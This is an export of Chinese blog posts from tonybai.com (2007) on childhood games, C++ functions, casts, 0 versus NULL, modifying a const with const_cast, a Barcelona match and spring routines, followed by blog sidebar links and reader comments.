，大家都喜欢玩。\n吹泡泡\n吹泡泡印象不深，印象中小女孩儿都喜欢，吹完泡泡，很多小孩子还在泡泡的世界里又蹦又跳的。\n跳马\n记得从小学一年级就开始玩的游戏，到了初中，大家都涨高了，跳马的难度也增加了很多。玩到顶级高度，基本上就是一个人在那直挺挺的站着，如果想从上面跨过基本上两个人都会人仰马翻，这时候就有一定的危险了。\n气门芯滋水枪\n在高级水枪没出现之前，自己制作气门芯滋水枪是唯一的战斗武器了。记得那时还有\u0026rsquo;水气球弹\u0026rsquo;，将一个小气球灌满水，扎上口就是一个小型水炸弹，打在谁身上都保准让谁成为落汤鸡。\n玩泥巴\n记得小时候住在平房，家家都有黄土，用来封火炉的；每次下雨后，黄土堆都成为小孩子们的乐园，因为有泥巴。用黄土制作各种造型的玩具，小坦克，小汽车，小手枪等等，除了这些摔泥巴是孩子们的最爱，一团泥巴，整理成长方体形，然后在中间小心的挖一个洞，然后洞口朝下摔倒地上，就为了听那一声\u0026rsquo;啪\u0026rsquo;。\n捉虫子\n可怜那些蜻蜓、蝴蝶、蚂蚱了，没到春夏秋之际，他们就成为了小孩子们的玩物，有些动物被残忍的\u0026rsquo;迫害\u0026rsquo;了。\n抽陀螺\n在北方，陀螺很受欢迎，特别是在冬季，在冰上，路上到处可见抽陀螺的小孩子，陀螺是买的，鞭子一般都是自己做的，最简单的原料就是鞋带。没雪没冰的时候，光溜溜的马路就成为抽陀螺的好地方。\n老鹰抓小鸡\n这个游戏估计也是为数不多的流传下来，在现在也仍在玩的。这个游戏老少皆宜，从幼儿园玩到花甲古来希。\n跳房子\n我们这叫\u0026rsquo;跳格\u0026rsquo;，用石头或者粉笔等在地上画方格，然后按照规则跳，每次跳都是有任务的，将口袋放到指定格里。女生们的最爱，男生也喜欢跟着凑热闹。\n跳皮筋\n我们这个年代出生的女孩好像没有不会的吧，是这个年代最最普及的女生运动了，跳法众多，不一一列举(我也不知道^_^)。有些男生也参与，甚至跳的比女生还厉害。\n集烟纸\n这个游戏发生在一个时间段，之后就渐渐消失了。我记得是用烟纸折成三角形(打些卷)然后并排放在桌子上，然后用手掌拍桌子，用掌风将烟纸掀翻，你就算赢，这个烟纸就归你了。不同品牌的烟纸价值也不一样。\n塑料小人\n塑料小人，我们这边叫霹雳人，手脚都可以活动，还有各种武器如枪，剑，盾牌；更小的小人手脚都是不能动的，一般是卖一组，比如一个美国特种兵班，还有一些车辆和大炮。\n变形金刚\n变形金刚在中国的风靡程度估计还没有哪部动画片可以比拟，直到现在仍有很多成年人喜欢收集变形金刚玩具，孩子宝公司的变形金刚玩具真是吸引人的眼球。记得小时候，几乎每个小男生上学时书包里都放一个自己心爱的变形金刚玩具，课间大家一起拿出来，比划一番。至于变形金刚的书籍等就更普遍了。据说今年真人版变形金刚电影也要与观众们见面了，这可是我们这一代的变形金刚迷的一个快乐节日呀。\n一想起童年的趣事，自己就写下了这么多。儿时的那些快乐也许长大后再也体会不到了。\n","permalink":"https://tonybai.com/2007/03/13/what-do-we-play-on-1970s-and-1980s/","summary":"\u003cp\u003e偶然间在新浪看到这么一个调查-\u0026rsquo;\u003ca href=\"http://games.sina.com.cn/o/kb/4537.shtml\"\u003e7、80年代我们都在玩什么\u003c/a\u003e\u0026rsquo;，这里我也借用这个题目主要谈谈小时候我这个80后的都玩过哪些。\u003c/p\u003e\n\u003cp\u003e在这篇调查的篇首有这么一段话：\u0026lsquo;七、八十年代的中国，没有电脑，没有网络游戏，没有PSP，没有萝莉，也没有机会看美国大片。对于现在25～35岁这个年龄段的人来说，下面的32种“游戏”便成了他们休闲娱乐的首选！无论你是或者不是这个年龄段的，都来看看，了解下，这些或许已经绝迹的儿时回忆。\u0026rsquo; 的确，在那个几乎\u0026rsquo;一无所有\u0026rsquo;的年代里我们这些人收获的却是快乐，而今天的小孩子们他们的快乐方式和我们那时已经大不相同，用\u0026rsquo;绝迹的儿时回忆\u0026rsquo;来形容还是很恰如其分的。\u003c/p\u003e","title":"7、80年代我们都在玩什么"},{"content":"关于Functions，Bjarne Stroustrup在\u0026rsquo;The C++ Programming Language\u0026rsquo;一书中是这么开篇的：\u0026lsquo;The typical way of getting something done in a C++ program is to call a function to do it.\u0026rsquo;；另外他还阐述了一个使用Functions的原则：\u0026lsquo;A function cannot be called unless it has been previously declared.\u0026rsquo;。\n函数的声明和定义要一致，这里的一致是指函数名字、返回类型和参数列表(不包括参数名字)的一致。参数名字是被编译器ignored的，所以在声明时你完全可以不显式写出参数名：\nint func(char*, int); // a declaration with no explicit argument names\n当然从代码的可读性等考虑，还是建议声明时写上参数名：\nint func(char* array, int size);\n声明和定义的参数名字可以不相同，编译器关注的是参数列表的各个参数类型。\nint func(char* c, int i); //a declaration\nint func(char *array, int size) {…} // a definition\n这里补充一点就是如果你给某个函数声明了一个参数，你在实现这个函数时最好用上这个参数。\n使用或者调用一个函数就涉及到另外两个方面了：参数传递(Argument passing)和函数返回值(Return value)。参数传递和函数返回值在语义上等价于变量初始化(initialization)，与变量赋值(assignment)语义有区别。\n这里首先区分一下变量初始化(initialization)与变量赋值(assignment)：\n很显然变量初始化发生在这个变量生命周期的最开始阶段，任何一个变量的生命都源于编译器给它分配一块存储区域，而初始化就紧跟在内存分配之后，用初始值覆盖这块内存，通过这两步操作完成一个对象(无论是built-in还是user-defined)的建构，换句简洁的话说：初始化是用来创建对象的，是创建对象的一个步骤；在未执行该步骤时，这个对象从语义上讲还不存在；而变量赋值操作则是修改一个对象，这个对象在被赋值之前已经存在了，有自己的存储空间并且已经有过初始化操作，是一个语义上真实存在的对象；赋值操作仅仅是改变了那块内存区域的值或者是bit序列分布而已。\n上面说过参数传递(Argument passing)从语义上相当于变量初始化，那么当一个实参(Actual argument)被传递给一个函数后，究竟是哪个变量被初始化了或者说被创建了？初始化过程又是如何呢？举例说明：\nint func(T value_formal_arg, T* ptr_formal_arg, T\u0026amp; ref_formal_arg); //这是一个函数声明，囊括了passed by value, passed by pointer, passed by reference全部三种参数传递方式\nint main() {\n//…\nint rv = func(value_actual_arg, ptr_actual_arg, ref_actual_arg);\n//…\n}\n在参数传递过程中，完成了三个对象的创建，上面的func函数在传参的时候相当于：\nint func(…) {\nT value_formal_arg = value_actual_arg;\nT* ptr_formal_arg = ptr_actual_arg;\nT\u0026amp; ref_formal_arg = ref_actual_arg;\n//接下来使用value_formal_arg，ptr_formal_arg和ref_formal_arg\n}\n从此可以看出，三个在function scope内的临时变量被在栈上分配内存，并分别被三个实参初始化了。当然有时候传进来的实参不能直接用于初始化，编译器要进行类型检查，看看传进来的实参是否匹配形参类型，对于兼容的类型做标准的或者用户自定义的implicit type conversions，对于完全不匹配的报告编译错误。\nvoid print(int i) {…}\ndouble d = 1.0;\nprint(d); //这里在传参的时候需要做一个将实参d转型为int型的implicit type conversion\nvoid handle(int \u0026amp;i);\nhandle(1); //这里由于形参为non-const reference，而初始化语义不支持将常数直接用来初始化non-const reference，所以这里编译器会报告一个编译错误\n说完了参数传递过程，接着看函数返回过程。前面同样提到了函数返回的语义也相当于变量初始化，那么我们同样要问这样一个问题：函数返回的过程中返回值到底用来创建哪个对象了？\nT func(…) {\n//…\nreturn t; //t是T类型的\n}\nT rv;\nrv = func(…);\n当func返回时，返回值是用来初始化rv了么？根据上面我们所说的initialization和assignment的区别，我们可以断定这显然不是。那么返回值又是初始化哪个对象了呢？这里又有一个临时对象产生了。上面的语句等价于：\nT rv;\nT temp = t; //func的返回值t被用来创建一个临时对象temp\nrv = temp; //这个临时对象最终被用来对rv进行assignment了\n在C++中，以by value方式返回一个对象是效率不高的，特别是当返回复杂的user-defined类型时，其带来了额外的构造、拷贝构造和析构的损耗。在Scott Meyers的\u0026rsquo;More Effective C++\u0026lsquo;书中的条款20讲解了如何编写代码来配合编译器的\u0026rsquo;Return Value Optimization, RVO\u0026rsquo;优化技术，当编译器开启这种优化后，像上面我们的例子可以这么写：\nT rv = func(…);\n函数返回过程也许就会被优化成:\nT rv = t;\nC++的Function还提供了Default arguments机制，这里要注意的就是当函数有多个参数的时候，应该如何提供默认参数。比如：\nvoid func(int a = 1, int b = 2, int c = 3); // ok\nvoid func(int a, int b = 2, int c =3); // ok\nvoid func(int a, int b, int c = 3); // ok\nvoid func(int a = 1, int b, int c); // error\nint main() {\nfunc(); //call func(1, 2, 3)\nfunc(5); //call func(5, 2, 3)\nfunc(5, 7); //call func(5, 7, 3)\n}\n知道void func(int a = 1, int b, int c);为什么错了吧？比如我调用func(5, 7);这实参5是传给a还是传给b呢？显然编译器不能resolve，那就只能给你报告错误了^_^。\n","permalink":"https://tonybai.com/2007/03/13/cpp-weigh-every-word-series-functions/","summary":"\u003cp\u003e关于Functions，Bjarne Stroustrup在\u0026rsquo;The C++ Programming Language\u0026rsquo;一书中是这么开篇的：\u0026lsquo;The typical way of getting something done in a C++ program is to call a function to do it.\u0026rsquo;；另外他还阐述了一个使用Functions的原则：\u0026lsquo;A function cannot be called unless it has been previously declared.\u0026rsquo;。\u003c/p\u003e","title":"C++咬文嚼字-'Functions'"},{"content":"Cast也被称为\u0026quot;Explicit Type Conversion\u0026quot;，即显式类型转换，在传统C中强制转型(cast)只有一种语法形式(T)e。Bjarne Stroustrup在\u0026rsquo;The Design and Evolution of C++\u0026rsquo;(以后称作D\u0026amp;E)一书的14.3小节开始就说了\u0026rsquo;无论是从语法还是从语义上, Cast都是C++里最难看的特征之一\u0026rsquo;，所以他要为cast提供A New Cast Notation.\n旧式的cast有诸多问题，在D\u0026amp;E一书中有描述，这里摘录一些：\n首先记法(T)e单一，语义上容易引起错误，使人们很难理解代码的真实意图，几乎每种类型组合都有某种合法的解释：\n如：const X* px = new X(); py = (Y*)px; //这里很难明确是去掉const，还是取得基类访问权或者是强制转型为其他unrelated类型的指针\n其次(T)e记法上过渡使用\u0026rsquo;()\u0026rsquo;，这使得在代码里难辨别是否为cast，并且很难用grep这样的搜索工具快速检索定位。\nBjarne Stroustrup引入几种cast operators实际上是对传统cast的一个细致分类，而且提供的这几种cast operators的功能的总和和传统cast功能一致，这也为C++程序员完全不使用传统cast提供了充分的理由。Scott Meyers在其\u0026rsquo;More effective c++\u0026lsquo;的item2中就明确说\u0026rsquo;Prefer C++ style casts\u0026rsquo;。新的cast operators使用了长名字和类似于模版的使用语法，也便于工具检索。\nC++提供四种新式cast operator：\nstatic_cast(e)\ndynamic_cast(e)\nreinterpret_cast(e)\nconst_cast(e)\n我将这些C++ style cast支持常见的cast都融入到了下面这个例子中，慢慢体会吧：\n#include class Base {\npublic:\nint _x;\nvirtual int func() {;}\n};\nclass Derived : public Base {\npublic:\nint _y;\n};\nvoid print(char *str) {\nstd::cout \u0026laquo; str \u0026laquo; std::endl;\n}\nclass T;\nclass S;\nvoid test_reinterpret_cast(T *pt) {\nS *ps = reinterpret_cast\u0026lt;S*\u0026gt;(pt);\n}\nint main() {\nvoid *buf = 0;\n//for static_cast\ndouble d = 2007.02;\nint i = 0;\nchar c = \u0026lsquo;A\u0026rsquo;;\ni = static_cast(d); //ok, static_cast支持non-pointer类型的conversion\nstd::cout \u0026laquo; i \u0026laquo; std::endl;\ni = static_cast(c); //ok, static_cast支持non-pointer类型的conversion\nstd::cout \u0026laquo; i \u0026laquo; std::endl;\nint *p = 0;\nbuf = operator new(100);\np = static_cast\u0026lt;int*\u0026gt;(buf); //ok, static_cast支持从void*到任意指针类型\n(*p) = 2008;\nstd::cout \u0026laquo; *p \u0026laquo; std::endl;\nBase *pb = new Derived();\nDerived *pd = static_cast\u0026lt;Derived*\u0026gt;(pb); //ok, static_cast利用静态类型信息完成类层次间的转型\npd-\u0026gt;_y = 2009;\npd-\u0026gt;Base::_x = 2010;\nstd::cout \u0026laquo; pb-\u0026gt;_x \u0026laquo; std::endl;\nstd::cout \u0026laquo; pd-\u0026gt;_x \u0026laquo; std::endl;\nstd::cout \u0026laquo; pd-\u0026gt;_y \u0026laquo; std::endl;\npb = new Base();\npd = static_cast\u0026lt;Derived*\u0026gt;(pb); //ok, but pd is trivial and it is very dangerous to use it.\n//pd-\u0026gt;_y = 2011; //dangerous, may cause crash\n//for const_cast\nconst int k = 2012;\n//int m = const_cast(k); //error: const_cast不支持non-pointer类型的conversion\nconst char* str = \u0026ldquo;hello\u0026rdquo;;\n//print(str); //error: invalid conversion from `const char*\u0026rsquo; to `char*\u0026rsquo;\nprint(const_cast\u0026lt;char*\u0026gt;(str));\n//for dynamic_cast ,\n//Base class should be a polymorphic class, otherwise the dynamic_cast operator will prevent you from doing cast\npb = new Derived();\npd = dynamic_cast\u0026lt;Derived*\u0026gt;(pb);\nif (pd) {\nstd::cout \u0026laquo;\u0026ldquo;downcast ok\\n\u0026rdquo;; //we will see this\n} else {\nstd::cout \u0026laquo;\u0026ldquo;downcast error\\n\u0026rdquo;;\n}\npb = new Base();\npd = dynamic_cast\u0026lt;Derived*\u0026gt;(pb);\nif (pd) {\nstd::cout \u0026laquo;\u0026ldquo;downcast ok\\n\u0026rdquo;;\n} else {\nstd::cout \u0026laquo;\u0026ldquo;downcast error\\n\u0026rdquo;; // we will see this. dynamic_cast会在运行时利用运行时类型信息判断动态类型到底\n是不是一个真实的Derived Object.\n}\n//for reinterpret_cast\nchar ch = \u0026lsquo;A\u0026rsquo;;\nchar *pch = \u0026amp;ch;\n//int h = reinterpret_cast(ch); // reinterpret_cast不支持这种non-pointer conversion\n\u0026amp;nb\nsp; int h = reinterpret_cast(pch); //ok, reinterpret_cast支持这种将指针值转换成整数的conversion\nstd::cout \u0026laquo; h \u0026laquo; std::endl;\nint *ph = reinterpret_cast\u0026lt;int*\u0026gt;(h); //ok, reinterpret_cast支持这种将任意整型数转换成地址的操作\n//std::cout \u0026laquo; *ph \u0026laquo; std::endl; //may cause crash\n//see test_reinterpret_cast function的定义, reinterpret_cast can\n//converts any pointer type to any other pointer type, even of unrelated classes.\n//and reinterpret_cast不需要知道类型的定义, 正如test_reinterpret_cast涉及到的\n//M和T，在这里仅仅是两个forward declaration\n}\nCast毕竟还是cast，依旧是很多Evil的源头，尽管C++做了细化和改善还是尽量少用的好，尽量减少cast的操作。总体来说Bjarne Stroustrup以及C++委员会的工作还是很有意义的。减轻罪恶(evil)就是造福，不是吗?^_^\n","permalink":"https://tonybai.com/2007/03/12/cpp-weigh-every-word-series-evil-cast/","summary":"\u003cp\u003eCast也被称为\u0026quot;Explicit Type Conversion\u0026quot;，即显式类型转换，在传统C中强制转型(cast)只有一种语法形式(T)e。Bjarne Stroustrup在\u0026rsquo;The Design and Evolution of C++\u0026rsquo;(以后称作D\u0026amp;E)一书的14.3小节开始就说了\u0026rsquo;无论是从语法还是从语义上, Cast都是C++里最难看的特征之一\u0026rsquo;，所以他要为cast提供A New Cast Notation.\u003c/p\u003e","title":"C++咬文嚼字-'Evil cast'"},{"content":"相信在今天之前巴萨的球迷都很失落，因为巴萨在冠军杯八强战中被红魔利物浦淘汰了。但是看了今晨的\u0026rsquo;西班牙国家Derby\u0026rsquo;，相信大家心情会略为好转起来，虽然巴萨依然没有赢球，让我们欣喜的是看到了一位潜在的巴萨未来王者的表演。\n近期巴萨的境况不好，内部不团结等等因素让球队的战绩和上个赛季相比不能同日而语，昔日那个巴萨梦之队似乎渐渐从人们的眼线里消失了。今晨同样是从冠军杯被淘汰的两支西甲豪门相遇了，巴萨对皇马，在西班牙足球界，这丝毫不亚于火星撞地球^_^。巴萨境遇不好，皇马则更加落魄，上亿欧元打造的豪华军团，现在细数数皇马全队居然没有了领军人物，也就是劳尔资格老些，勉强撑得起门面，想当年齐达内、肥罗，菲戈、贝克汉姆等多位世界足球先生，欧洲足球先生坐镇的日子已经一去不复返了。皇马目前也仅剩下一个空架子罢了，用俗话说就是有些散。历史上特别是最近几年西班牙德比都甚是好看，每场都堪称经典，精彩进球也比比皆是，平均每场进球数是不少。这次估计也会延续这一势头的。\n说实话我是没有看全所有比赛，但是几个进球还是在体育新闻中一个没拉下的全看到了。当梅西从右路推射远角入网扳平比分的时候人们也许只是认为这个小精灵状态很好；当梅西中路捡漏并打入一粒精彩的凌空抽射时，人们也许也只是为精灵的球技而鼓掌；当梅西从左路接小罗传球，利用个人技术快速突破多个后卫阻截并在后卫出脚拦截前将球从禁区左肋12码处打入时，人们开始惊叹今天的诺坎普王者诞生了，而这时时钟已经指向开场89分钟了。留着这位精灵的时间已经没有了。三次落后，三个从不同方向摄入的精彩进球扳平比分，相信所有人都会把自己打的最高分送给这个来自潘帕拉高原的精灵-梅西。\n没人会否认梅西会成为未来巴萨的新的领军人物，在巴萨目前这个动荡期，在有传闻说小罗即将出走的这个时候，人们会给梅西更多的期待和鼓励，加油吧，小伙子。\n","permalink":"https://tonybai.com/2007/03/11/messi-help-barca-win-a-draw/","summary":"\u003cp\u003e相信在今天之前巴萨的球迷都很失落，因为巴萨在冠军杯八强战中被红魔利物浦淘汰了。但是看了今晨的\u0026rsquo;西班牙国家Derby\u0026rsquo;，相信大家心情会略为好转起来，虽然巴萨依然没有赢球，让我们欣喜的是看到了一位潜在的巴萨未来王者的表演。\u003c/p\u003e","title":"精灵发威，巴萨险平"},{"content":"C程序员和C++程序员在声明空指针时做法常常是不相同的。\nC程序员常常如下做：\nint *ptr = NULL;\nC++程序员则是听从Bjarne Stroustrup或者其他C++大师的教诲，坚定地如下做：\nint *ptr = 0;\n也许没有谁对谁错之分，也许只是习惯不同罢了，毕竟C语言是老大哥，诞生的早；而在早期C编程时人们也许不习惯在程序里使用0这样的magic number，转而使用了#define NULL ((void*)0)来统一进行空指针的声明或者赋值。\n在\u0026rsquo;Effective C++\u0026lsquo;中明确提出避免使用使用macro的issue，广大C++信徒自然也就将NULL抛掷脑后，并逐渐形成习惯，用0给指针赋值以意会这是个空指针的方式就流传了下来。\n还是那句话没有谁对谁错，在\u0026rsquo;The C++ Programming Language Special Edition\u0026rsquo;中Bjarne Stroustrup在5.1.1小节用了不到200个words来说明了关于'0\u0026rsquo;或NULL的问题，这段叙述也是堪称经典，我们可以来回顾一下：\nZero(0) is an int. Because of standard conversions, 0 can be used as a constant of any integral, floating-point, pointer, or pointer-to-member type. The type of zero will be determined by context. Zero(0) will typically (but not necessarily) be represented by the bit patternall-zerosof the appropriate size.No object is allocated with the address 0 . Consequently, 0 acts as a pointer literal, indicating that a pointer doesn’t refer to an object.\n0是一个整型数，通过标准的转型操作，0可以被用作各种数据类型常量，这些数据类型包括整型、浮点型、指针型或者指向类成员的指针类型。这时这个常量0的类型需要通过上下文才能判断出来。0通常(但不是必要的)用特定大小的全二进制0的bit串表示。没有object会被分配到0地址上，0只是字面值，其含义是这个指针变量没有指向(参考到)任何object。\n举例:\nint i = 0; //整型 long l = 0; //整型 float f = 0; //浮点型\ndouble d = 0; //浮点型\nint *p = 0; //整型指针\ndouble *dp = 0; //浮点指针\nclass T {\npublic :\nint func(int a){…};\n};\nT *pT = 0; //用户自定义类型指针\nint (T::*PTR)(int) = 0; //指向类成员的指针类型\nBjarne Stroustrup继续说明了C与C++程序员习惯上的差异并给出了自己的建议：\nIn C, it has been popular to define a macro NULL to represent the zero pointer. Because of C++’s tighter type checking, the use of plain 0, rather than any suggested NULL macro, leads to fewer problems. If you feel you must define NULL, use const int NULL = 0;\nThe const qualifier prevents accidental redefinition the NULL and ensures that NULL can be used where a constant is required.\n在C中，定义一个macro NULL代表空指针是很流行常见的做法。由于C++编译器更严格的类型检查，使用0比使用NULL macro给你带来的麻烦更少。如果你一定要用NULL,那么建议作如下定义: const int NULL = 0; 这行定义会阻止意外的重定义NULL，而且会保证NULL在一个需要常量的场合被使用。\n由此看来，在C++中0的灵活性和适应性更强一些，至于到底用哪个还是个见仁见智的问题，谁也不能强迫谁^_^。\n","permalink":"https://tonybai.com/2007/03/10/cpp-weigh-every-word-series-0-or-null/","summary":"\u003cp\u003eC程序员和C++程序员在声明空指针时做法常常是不相同的。\u003cbr\u003e\nC程序员常常如下做：\u003cbr\u003e\nint *ptr = NULL;\u003c/p\u003e\n\u003cp\u003eC++程序员则是听从Bjarne Stroustrup或者其他C++大师的教诲，坚定地如下做：\u003cbr\u003e\nint *ptr = 0;\u003c/p\u003e","title":"C++咬文嚼字-'0 or NULL'"},{"content":"虽然这周沈城遭遇了几十年罕见的暴风雪天气，但是这仍然阻止不了春天的到来。作为这个世界的主宰，人类的感觉是满灵敏的，春天到来的时候，人们精力变得旺盛，心情也比较阳光，有一种想做事情，想活动活动，爱学习的好状态。\n这几天的工作强度丝毫没有减弱，但是晚上回去后居然没有疲劳的感觉，而且还有一种想学习的冲动，学习时思维很集中，效率也颇高，特别是在洗了一个热水澡后，更是感到浑身轻松，思维敏捷而开阔，这种感觉很好。\n这几天每天早上起的也是很早，虽然外面还是冷风飕飕。早起看书是最近开始的，基本上每天早上都能看上40分钟。记得上初中时才有早起看书的习惯。\n俗话说，一年之计在于春。春天是一年的开始，在一年之始打好基础，对一整年的学习生活，特别是身体有利。\u0026lsquo;黄帝内经\u0026rsquo;素问中有曰：\u0026lsquo;春三月，此谓发陈，天地仅生，万物以荣，夜卧早起，广步于庭，被发缓形，以使志生，生而勿杀，予而勿夺，赏而勿罚，此春气之应，养生之道也。逆之则伤肝，夏为寒变，奉长者少\u0026rsquo;。\n","permalink":"https://tonybai.com/2007/03/10/ground-well-in-spring/","summary":"\u003cp\u003e虽然这周沈城遭遇了几十年罕见的\u003ca href=\"http://tonybai.com/2007/03/04/take-lanterns-festival-while-it-snows-heavily-at-shenyang/\"\u003e暴风雪天气\u003c/a\u003e，但是这仍然阻止不了春天的到来。作为这个世界的主宰，人类的感觉是满灵敏的，春天到来的时候，人们精力变得旺盛，心情也比较阳光，有一种想做事情，想活动活动，爱学习的好状态。\u003c/p\u003e\n\u003cp\u003e这几天的工作强度丝毫没有减弱，但是晚上回去后居然没有疲劳的感觉，而且还有一种想学习的冲动，学习时思维很集中，效率也颇高，特别是在洗了一个热水澡后，更是感到浑身轻松，思维敏捷而开阔，这种感觉很好。\u003c/p\u003e","title":"春天，打好基础"},{"content":"晚上无意翻看Bjarne Stroustrup的\u0026rsquo;The C++ Programming Language Special Edition\u0026rsquo;(英文版)第94页，章节5.4 Constants一节，看到这么一句原文\u0026rsquo;C++ offers the concept of a user-defined constant, a const, to express the notion that a value doesn\u0026rsquo;t change directly.\u0026lsquo;字眼就在directly上，既然不能directly change，那我试试indirectly change。\n问题就发现于这个indirectly change，代码如下：\n#include int main() {\nconst int a = 2007; // 这是一个常量，我们\u0026rsquo;不能directly change\u0026rsquo;^_^\nint *p = const_cast\u0026lt;int*\u0026gt;(\u0026amp;a); //我们换一种方法hijack\n*p = 2008; //篡改\nstd::cout \u0026laquo; \u0026ldquo;a = \u0026quot; \u0026laquo; a \u0026laquo; std::endl; //期待输出2008\nstd::cout \u0026laquo; \u0026ldquo;*p = \u0026quot; \u0026laquo; *p \u0026laquo; std::endl;\nstd::cout \u0026laquo; \u0026ldquo;\u0026amp;a = \u0026quot; \u0026laquo; \u0026amp;a \u0026laquo; std::endl;\nstd::cout \u0026laquo; \u0026ldquo;p = \u0026quot; \u0026laquo; p \u0026laquo; std::endl;\nreturn 0;\n}\n我首先在Windows上使用Mingw的g++编译，输出结果让我大惊失色：\na = 2007\n*p = 2008\n\u0026amp;a = 0x23ff74\np = 0x23ff74\n原以为a应该被hijack了，结果a仍然原封未动；关键是后两行打印的a的地址和p的指向都是一个地方，难道C++对常量的保护如此之好，如此智能。不行，换一个平台试试，我又把源码搬到了Solaris上同样是g++编译器，输出结果一致。\n百思不得其解后继续\u0026rsquo;咬文嚼字\u0026rsquo;的往下看该小节。突然发现这么一句话：\u0026lsquo;If the compiler knows every use of the const, it need not allocate space to hold it.\u0026rsquo;…\u0026lsquo;The common simple and common case is the one in which the value of the constant is known at compile time and no storage needs to be allocated.\u0026rsquo;，左思又想，这么一来在某些时候a被当作类似宏的方式处理的，就如：std::cout \u0026laquo; \u0026ldquo;a = \u0026quot; \u0026laquo; a \u0026laquo; std::endl;这里cout输出一个常量表达式，编译器估计直接将a替换成2007了，实际上就相当于std::cout \u0026laquo; \u0026ldquo;a = \u0026quot; \u0026laquo; 2007 \u0026laquo; std::endl;而后的int *p = const_cast\u0026lt;int*\u0026gt;(\u0026amp;a);操作，这时就需要为a分配地址了。有人说a的输出操作是在分配地址之后，那为什么还输出2007呢，我们从编译器的角度看看，编译器在解析到const int a = 2007的时候发现这是一个常量，便将之首先记录到常量符号表中，而后在解析const_cast\u0026lt;int*\u0026gt;(\u0026amp;a)时为a在栈上分配内存，但是在走到输出a那块时首先引用到的还是常量符号表，而输出\u0026amp;a时，由于是取地址操作，所以就把前面分配的栈地址赋到这里了。\n我们继续再看一个例子：\n#include int main() {\nint i = 2006;\nconst int a = i + 1; int *p = const_cast\u0026lt;int*\u0026gt;(\u0026amp;a); *p = 2008; //篡改\nstd::cout \u0026laquo; \u0026ldquo;a = \u0026quot; \u0026laquo; a \u0026laquo; std::endl; //期待输出2008\nstd::cout \u0026laquo; \u0026ldquo;*p = \u0026quot; \u0026laquo; *p \u0026laquo; std::endl;\nstd::cout \u0026laquo; \u0026ldquo;\u0026amp;a = \u0026quot; \u0026laquo; \u0026amp;a \u0026laquo; std::endl;\nstd::cout \u0026laquo; \u0026ldquo;p = \u0026quot; \u0026laquo; p \u0026laquo; std::endl;\nreturn 0;\n}\n在这个例子中const int a = i + 1;用一个非常量表达式给常量a赋初值，按照Bjarne Stroustrup的说法，是需要给a分配内存了。这样我想编译器也许不会在常量符号表中给a留位置，在下面的a的打印输出时，a真的被hijack了。\n输出结果：\na = 2008\n*p = 2008\n\u0026amp;a = 0x23ff70\np = 0x23ff70\n再看一个例子：\n#include int main() {\nconst int i = 2006;\nconst int a = i + 1; int *p = const_cast\u0026lt;int*\u0026gt;(\u0026amp;a); *p = 2008; //篡改\nstd::cout \u0026laquo; \u0026ldquo;a = \u0026quot; \u0026laquo; a \u0026laquo; std::endl; //期待输出2008\nstd::cout \u0026laquo; \u0026ldquo;*p = \u0026quot; \u0026laquo; *p \u0026laquo; std::endl;\nstd::cout \u0026laquo; \u0026ldquo;\u0026amp;a = \u0026quot; \u0026laquo; \u0026amp;a \u0026laquo; std::endl;\nstd::cout \u0026laquo; \u0026ldquo;p = \u0026quot; \u0026laquo; p \u0026laquo; std::endl;\nreturn 0;\n}\n编译器在解析到const int i = 2006时首先将i作为常量保存到常量符号表中，在const int a = i + 1时实际上相当于const int a = 2006 + 1，编译器作优化，编译器直接得到a = 2007而且是一个常量，也被保存到常量表中，下面的流程就和第一个例子一样了。\n","permalink":"https://tonybai.com/2007/03/09/cpp-weigh-every-word-series-hijack-const/","summary":"\u003cp\u003e晚上无意翻看Bjarne Stroustrup的\u0026rsquo;The C++ Programming Language Special Edition\u0026rsquo;(英文版)第94页，章节5.4 Constants一节，看到这么一句原文\u0026rsquo;C++ offers the concept of a user-defined constant, a const, to express the notion that a value doesn\u0026rsquo;t change directly.\u0026lsquo;字眼就在directly上，既然不能directly change，那我试试indirectly change。\u003c/p\u003e","title":"C++咬文嚼字－'Hijack const'"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 